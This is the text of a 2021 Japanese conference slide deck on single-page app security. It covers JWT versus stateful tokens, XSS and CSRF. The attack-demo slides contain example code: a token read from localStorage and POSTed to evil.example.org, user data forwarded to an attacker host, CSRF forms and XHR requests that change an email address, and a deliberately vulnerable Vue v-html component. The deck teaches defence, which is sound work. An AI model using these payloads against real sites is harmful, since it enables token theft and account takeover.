ステートフルなトークンはセキュリティ要件を実現しやすい
• 完全なログアウト → トークンを削除するだけ
• パスワード変更時に既存セッションをすべてログアウト
© 2021 Hiroshi Tokumaru 72
IDやパスワードをだまし取ろうとするページについて(Yahoo!)
73
https://support.yahoo-net.jp/PccYjcommon/s/article/H000011314
ケーススタディ:ChatWork
© 2021 Hiroshi Tokumaru 74
JWT形式を採用したChatWorkのアクセストークンについて
実は、ChatWorkのOAuth2で払い出されるアクセストークンはJWT形式を採用してい
ます。話題になっている懸念点を考慮した上で、どのような仕様になっているか簡
単に解説したいと思います。
まず、チャットワークAPIドキュメントの「3.アクセストークンの発行/再発行」のセ
クションにある、tokenエンドポイントのレスポンス形式をみてください。アクセス
トークン(有効期限は30分間)は、ピリオドでつながるBASE64形式(url-safe)になって
います。リフレッシュトークン(有効期間はデフォルト時は14日間。offline_access時
は認可が失効されるまで)はセキュアランダムで生成した文字列になっています。ア
クセストークンのメタデータはJWT内部に含まれています。また、リフレッシュトー
クンはトークンIDのみで、トークンIDに紐付く認可状態はサーバ側で管理されてい
ます。
https://creators-note.chatwork.com/entry/2018/09/25/132218 より引用 75
JWT形式を採用したChatWorkのアクセストークンについて
ChatWorkでは、なぜJWT形式を選んだか?その理由は以下です
1. サーバ側でメタデータを管理するストレージの運用コスト削減のため
2. マイクロサービスが増えた場合に、リソースサーバ単体での認可を実装しやすい
今のところ、大きな理由は1番ですね。 とはいえ、サーバ側で状態管理しないことに
よるデメリットもあります。それをどうカバーしたか、もしくは仕様として対象外
としたかを説明します。
76
https://creators-note.chatwork.com/entry/2018/09/25/132218 より引用
JWT形式を採用したChatWorkのアクセストークンについて
Assertion形式のJWTの場合はサーバに状態がないので、トークンの失効が即時にで
きません。なので、できるだけ有効期間を短くした方がよいです。また、漏れたア
クセストークンは有効期間の間は失効できません。そのアクセストークンの生存期
間中の二次被害を防止するには、認可サーバでの当該認可の破棄、リソースサーバ
での利用権限の一次停止などの別の仕組みを検討する必要があるでしょう。
しかし、サーバに状態があるArtifact形式だからといって、即座に失効できるとは限
らないと考えます。当該認可の破棄、漏洩したトークンの確認、API権限の一時停止、
分散キャッシュ上からトークンIDを特定・削除の実行などのワークフローを社内で
実行するには30分ぐらいは掛かると考えました。
77
https://creators-note.chatwork.com/entry/2018/09/25/132218 より引用
JWT形式を採用したChatWorkのアクセストークンについて
ChatWorkのアクセストークンも期限が30分と比較的短い時間に設定しています。仮
に、アクセストークンが漏洩した場合は、当該認可の破棄、対象のユーザのAPI機能
を一次停止するなどの対応を取るものの、漏洩したトークンが利用できなくなるま
で(30分間)待つことになります。もちろん、漏洩した根本原因に対しては恒久対策す
べきですが、応急対策としてはこのようになると想定しています。というわけで、
我々は、Assertionでも実運用に耐えられると判断し、JWT形式のアクセストークン
を選択しました。
Assertion形式を採用する場合は、この運用ポリシーを許容できなければなりません。
まず設計の最初でこれを確認しておきましょう*4。
*4: どうしても有効期限内に失効したい場合は、ブラックリストを返すAPIを提供し
てリソースサーバから利用することになりますが、結局サーバ側に状態を持つこと
になるため、Assertion形式する良さはあまり感じられなくなりますね
78
https://creators-note.chatwork.com/entry/2018/09/25/132218 より引用
セッション管理の仕組
みを検討する際は、こ
のような脅威分析を行
いましょう
ステートレス vs ステートフル
• ステートレスなトークン
– JWT等
– 認証サーバー等に問い合わせることなく認証の確認ができる
– スケールアウトが極めて容易
– 即時ログアウトはできない
• ステートフルなトークンやセッションID
– PHPのデフォルトセッション(PHPSESSID)やSanctumのトークン
– セッションの中身はファイル(PHP)やデータベース、REDIS等にある
– スケールアウト時にはデータベース等を共有する必要がある
– セッションDBがスケールのボトルネックになりやすい
• どちらを選ぶかは、セキュリティ要件しだい
– パスワード変更後の即時ログアウトが必須要件かがよい判断材料となる
© 2021 Hiroshi Tokumaru 79
SPAにまつわる脆弱性
© 2021 Hiroshi Tokumaru 80
SPAのXSS
© 2021 Hiroshi Tokumaru 81
SPAとXSS
• SPAのクロスサイトスクリプティング(XSS)は、ウェブコンテンツ側の
XSSと、API側XSSがある
• ウェブコンテンツ側のXSSは主にJavaScriptのXSS(DOM Based XSS)
• API側のXSSはサーバー側のJSON生成時の問題が主
• どちらも徳丸本2版にて説明しています
– 4.16 APIのセキュリティ
– 4.17 JavaScriptのセキュリティ
© 2021 Hiroshi Tokumaru 82
DOM Based XSSの例: AJAXのURL未検証によるXSS
<template>
<section>
<nuxt-link to="/menu/menu_a.html">A</nuxt-link>
<nuxt-link to="/menu/menu_b.html">B</nuxt-link>
<nuxt-link to="/menu/menu_c.html">C</nuxt-link>
<nuxt-link to="/menu/menu_d.html">D</nuxt-link>
<p v-html="post"></p>
</section>
</template>
<script>
export default {
data() {
return {
post: ''
}
},
async mounted() {
let url = this.$route.params.url
if (! url) url = 'menu_a.html'
const response = await this.$axios.get(url)
this.post = response.data
}
}
</script>
© 2021 Hiroshi Tokumaru 83
v-htmlはHTMLエスケー
プなしで表示する機能
メニューA<br>
<img src="/img_a.png">
menu_a.html
AJAXのURL未検証によるXSS(正常系)
© 2021 Hiroshi Tokumaru 84
Webサーバー
https://www.example.com/menu/menu_a.html
Content-Type: text/html
メニューA<br>
<img src="/img_a.png">
コンテンツをAJAXで要求して、
返ったHTMLを v-html でそのまま
(エスケープ無しで)表示する
let url = this.$route.params.url
const response = await this.$axios.get(url)
GET /menu_a.html
<p v-html="post"></p>
AJAXのURL未検証によるXSS(攻撃)
© 2021 Hiroshi Tokumaru 85
攻撃用サイト
https://evil.example.org/
Webサーバー
https://www.example.com/menu/%2F%2Fevil.example.org
Access-Control-Allow-Origin: *
<img src=0 onerror=alert('XSS')
let url = this.$route.params.url
const response = await this.$axios.get(url)
GET /
<p v-html="post"></p>
//evil.example.com
AJAXのURL未検証によるXSS(攻撃)
© 2021 Hiroshi Tokumaru 86
攻撃用サイト
https://evil.example.org/
攻撃用サイトにてCORS設定できるので、
CORS制約をくぐり抜けて攻撃が成立
Webサーバー
https://www.example.com/menu/%2F%2Fevil.example.org
Access-Control-Allow-Origin: *
<img src=0 onerror=alert('XSS')
let url = this.$route.params.url
const response = await this.$axios.get(url)
GET /
<p v-html="post"></p>
//evil.example.com
www.example.comの内容
OK
XSS
APIとJavaScriptそれぞれXSSの可能性がある
が、発生箇所によって脅威が変わる
© 2021 Hiroshi Tokumaru 87
WebサーバーにXSS脆弱性がある場合(localStorage)
© 2021 Hiroshi Tokumaru 88
HTML
localStorageに保存されたトークンを
盗み別のサイトに送信する
最も簡単なXSS攻撃となる
const token = localStorage.getItem('token')
const req = new XMLHttpRequest()
req.open("POST", "https://evil.example.org/")
req.send(token)
Google Chrome
Webサーバー
https://www.example.com
token eyJXXXXXXXXX
https://www.example.com
POST / HTTP/1.1
eyJXXXXXXXXXXXXXX
情報収集サイト
https://evil.example.org
WebサーバーにXSS脆弱性がある場合(Cookieによるセッション)
© 2021 Hiroshi Tokumaru 89
APIサーバー
https://api.example.com
HTML
正規のWebサーバーからのリクエス
トなのでCORS設定は許可されており、
あらゆるAPI呼び出しが可能
{
"email": "alice@example.jp",
"tel": "03-1290-5678"
}
Google Chrome
Webサーバー
https://www.example.com
const req = new XMLHttpRequest()
req.open("GET", "https://api.example.com/api")
req.withCredentials = true
Access-Control-Allow-Credentials: true
Access-Control-Allow-Origin: http://www.example.org
PHPSESSID=FD8A6FE…; domain=api.example.com
APIサーバーにXSS脆弱性がある場合(localStorage使用)
© 2021 Hiroshi Tokumaru 90
APIサーバー
https://api.example.com
HTML
https://api.example.com オリジンからは
IDトークンを格納したlocalStorageには
アクセスできない
const token = localStorage.getItem('token')
Google Chrome
CookieよりもlocalStorageの方が
XSSに対して危険という記事を多く
見ますが、一概には言えません…
token eyJXXXXXXXXX
https://www.example.com
別オリジンの
localStorageには
アクセス不可
APIサーバーにXSS脆弱性がある場合(Cookieによるセッション)
© 2021 Hiroshi Tokumaru 91
APIサーバー
https://api.example.com
HTML
APIサーバーのドメインにCookieが
セットされていると、認証状態のリク
エストが飛び、レスポンスも受け取れ
る。同一オリジンなのでCORSは関係
ない
let = new XMLHttpRequest()
req.open("GET", "/api/user")
{
"email": "alice@example.jp",
"tel": "03-1290-5678"
}
Google Chrome
情報収集サイト
https://evil.example.org
req.open("POST", "https://evil.example.com/")
{
"email": "alice@example.jp",
"tel": "03-1290-5678"
}
PHPSESSID=FD8A6FE…; domain=api.example.com
XSSの影響のまとめ
XSSの発生箇所 CookieにセッションID・トークン リクエストヘッダにトークン
Webサーバー 影響あり 影響あり(攻撃は容易)
APIサーバー 影響あり 影響はない*1
© 2021 Hiroshi Tokumaru 92
• CookieはHttpOnly属性がある前提
• Cookieによるセッション管理の場合XSSの発生箇所によらず影響があるのは、
Cookieがブラウザにより自動送信されるため
• 脆弱性診断ではHttpOnlyでないCookieの値をリクエストヘッダに入れる実装を
見かけるがお勧めしない
(LaravelのCSRFトークンが該当するが、許容できる特殊ケース)
(*1) ケースによっては影響がある場合があるかも
SPAのXSS脆弱性の対策
• ウェブAPIの脆弱性は、Content-Type: application/json にしておけば基
本的に問題ない
– だけど、text/htmlなAPIをしばしば見かける
• JavaScriptのXSS(DOM Based XSS)は気をつけることが多い
– エスケープしない表示に注意
• バニラJavaScript: innerHTML, outerHTML, document.write(), document.writeln()
• React: dangerouslySetInnerHTML
• Vue.js: v-html
• jQuery: html()
• evalインジェクション系
– eval(), setTimeout(), setInterval(), Functionコンストラクタ
• 詳しくは徳丸本2版 4.16.3、4.16.4、4.17.1 を参照
© 2021 Hiroshi Tokumaru 93
SPAのCSRF
© 2021 Hiroshi Tokumaru 94
SPAとCSRF
• ウェブAPIでもCSRF攻撃は可能なのでSPAでも考慮する必要がある
• ヘッダにトークンを入れている場合はCSRF脆弱性は混入しない
– Cookieでセッション管理している場合のみ影響がある
• フレームワークの機能で対策しておけば問題ない
– …が、たまに手抜きをしてCSRF脆弱なサイトを見かける
© 2021 Hiroshi Tokumaru 95
XHRによるCSRF攻撃の様子
© 2021 Hiroshi Tokumaru 96
APIサーバー
https://api.example.com
HTML
クッキーは飛び任意のリクエストが
送れるのでCSRF攻撃が成立する場合が
あるので、クッキーによるセッション
管理はCSRFのリスクがある
レスポンスは受け取れないが、CSRF攻
撃には支障がない
罠サイト
https://evil.example.org
const req = new XMLHttpRequest()
req.open("POST", "https://api.example.com/mail")
req.withCredentials = true
req.send('{"mail": "cracked@example.com"}');
{"mail: "cracked@example.com"}
レスポンスは受け取れない
メールアドレスが変更される
Access-Control-Allow-Credentials: trueがない
ヘッダにトークンを付与する場合はCSRF攻撃はできない
© 2021 Hiroshi Tokumaru 97
APIサーバー
https://api.example.com
HTML
Authorization ヘッダをつけられ
ないのでCSRF攻撃にならない
罠サイト
https://evil.example.org
const req = new XMLHttpRequest()
req.open("POST", "https://api.example.com/api")
req.setRequstHeader('Authorization',
'Bearer ')
???????????????
token eyJXXXXXXXXX
https://www.example.com
CSRF攻撃成立のハードルは結構ある
• Cookieでセッション管理していること(必須要件)
• HTTPメソッドはPOST(あるいはPUT、PATCH等)
• CookieのSameSite属性がNoneあるいは指定なし
• リクエストのContent-Type(application/json)をチェックしていない
• CSRFトークンのチェックがない、不十分
• しかし、攻撃には全ての要件が必要なわけではない
© 2021 Hiroshi Tokumaru 98
GETリクエストによるCSRF攻撃の様子
© 2021 Hiroshi Tokumaru 99
APIサーバー
https://api.example.com
HTML
• samesite=laxでもCookieは飛ぶので、
GETメソッドで更新ができれば攻撃
は刺さりやすい
• routerの設定が変な場合のみ脆弱と
なるが、脆弱性診断とは年に数回は
見つかる
罠サイト
https://evil.example.org
<form action="https://api.example.com/mail"
METHOD="GET">
<input name="mail" value="cracked@example.com">
<input type="submit">
</form>
GET /mail?mail=cracked@example.com
メールアドレスが変更される
HTMLフォーム(POST)によるCSRF攻撃の様子
© 2021 Hiroshi Tokumaru 100
APIサーバー
https://api.example.com
HTML
• HTMLフォームなのでCORSの制約は
受けない
• Laravelはform-urlencodedでも更新
処理を受け付ける
• samesite=lax で防御可能
罠サイト
https://evil.example.org
<form action="https://api.example.com/mail"
METHOD="POST">
<input name="mail" value="cracked@example.com">
<input type="submit">
</form>
メールアドレスが変更される
POST /mail
Content-Type: application/x-www-form-urlencoded
mail=cracked@example.com
XHRによるCSRF攻撃(Content-Type指定なし)の様子
© 2021 Hiroshi Tokumaru 101
APIサーバー
https://api.example.com
HTML
• Content-Typeを決め打ちにしている
と発生するパターン
• LaravelはContent-Typeで処理を変え
るので、このパターンでは攻撃でき
ない
• samesite=lax で防御可能
罠サイト
https://evil.example.org
const req = new XMLHttpRequest()
req.open("POST", "https://api.example.com/mail")
req.withCredentials = true
req.send('{"mail": "cracked@example.com"}');
Content-Type: text/plain
{"mail: "cracked@example.com"}
メールアドレスが変更される
XHRによるCSRF攻撃(Content-Type指定あり)の様子
© 2021 Hiroshi Tokumaru 102
APIサーバー
https://api.example.com
HTML
• 前述のようにLaravelのデフォルト設
定だとプリフライトリクエストは
通ってしまう
• CSRF攻撃はレスポンスを受け取らな
くてもよいのでAllow-Credentialsは
関係ない
• Content-Typeが正しいのでその後の
処理も通る
• samesite=lax で防御可能
罠サイト
https://evil.example.org
const req = new XMLHttpRequest()
req.open("POST", "https://api.example.com/mail")
req.withCredentials = true
req.setRequestHeader("Content-Type",
"application/json")
req.send('{"mail": "cracked@example.com"}');
OPTIONS /api HTTP/1.1
Origin: https://evil.example.org
Access-Control-Request-Headers: Content-Type
Access-Control-Request-Method: POST
HTTP/1.0 204 No Content
Access-Control-Allow-Origin: *
Access-Control-Allow-Methods: POST
Access-Control-Allow-Headers: Content-Type
CSRF対策は結局どうすればよいか?
• CSRF攻撃が刺さる条件は複雑だが、その複雑さを理解できなくても防
御は可能
• 【重要】フレームワーク標準のCSRF対策機能を素直に使う
• CORS設定はできるだけ明示する(とくにOriginは必須)
• セッションIDクッキーにはsamesite=laxを設定する(デフォルト)
© 2021 Hiroshi Tokumaru 103
結局 Cookie と localStorage のどちらがよいの?
• 今まで説明したように、CookieとlocalStorageはどちらが安全とは言
えず一長一短
• 適材適所で使えば良い
• WebサーバーとAPIサーバーが一体の場合は古典的なセッションを使
うのが比較的無難
– セッション管理に由来する脆弱性は枯れていて十分対策されているため
• Sanctumトークンのようなステートフル・トークンが使えれば、セ
キュリティ要件は満たしやすい
• JWTのようなステートレス・トークンを使う場合は、そのリスクを検
討した上で、必要に応じてAPIゲートウェイ等を検討する
© 2021 Hiroshi Tokumaru 104
クロスドメインでCookieを使うのは非常に難易度が高い
• モダンなブラウザでは、samesite=none; secure をつけないとクロスド
メインのCookieをPOSTやXHRで使えない
• 過去の特定バージョンのSafariは、バグにより samesite=noneを
samesite=strictと見なす(バックポートされていない)
– Auth0は同じ値で属性のみ違う2つのCookieをセットすることで対応
• ブラウザにとってサードパーティCookieとみなされるので、ブラウザ
の制限が厳しくなる一方
• Cookieはクロスドメインで使わない方がよいと思います
© 2021 Hiroshi Tokumaru 105
Set-Cookie: did=s%3Av0%3A0b71f550-略; HttpOnly; Secure; SameSite=None
Set-Cookie: did_compat=s%3Av0%3A0b71f550-略; HttpOnly; Secure
まとめ
• SPAと言っても基本はMPAと変わりありません
• なので、SPA開発する際にも徳丸本は役に立ちます!
– 3.2 同一オリジンポリシー
– 3.3 CORS
– 4.16 Web API実装における脆弱性
– 4.17 JavaScriptの問題
– その他全部
• Cookie と localStorage の使い分けについて
• ステートレスかステートフルか、それが問題だ
• 苦しくてもCORSはちゃんと理解しましょう
© 2021 Hiroshi Tokumaru 106
最後までご視聴いただきありがとうございます
質問・感想はDiscordにてお願いします
© 2021 Hiroshi Tokumaru 107

SPAセキュリティ入門~PHP Conference Japan 2021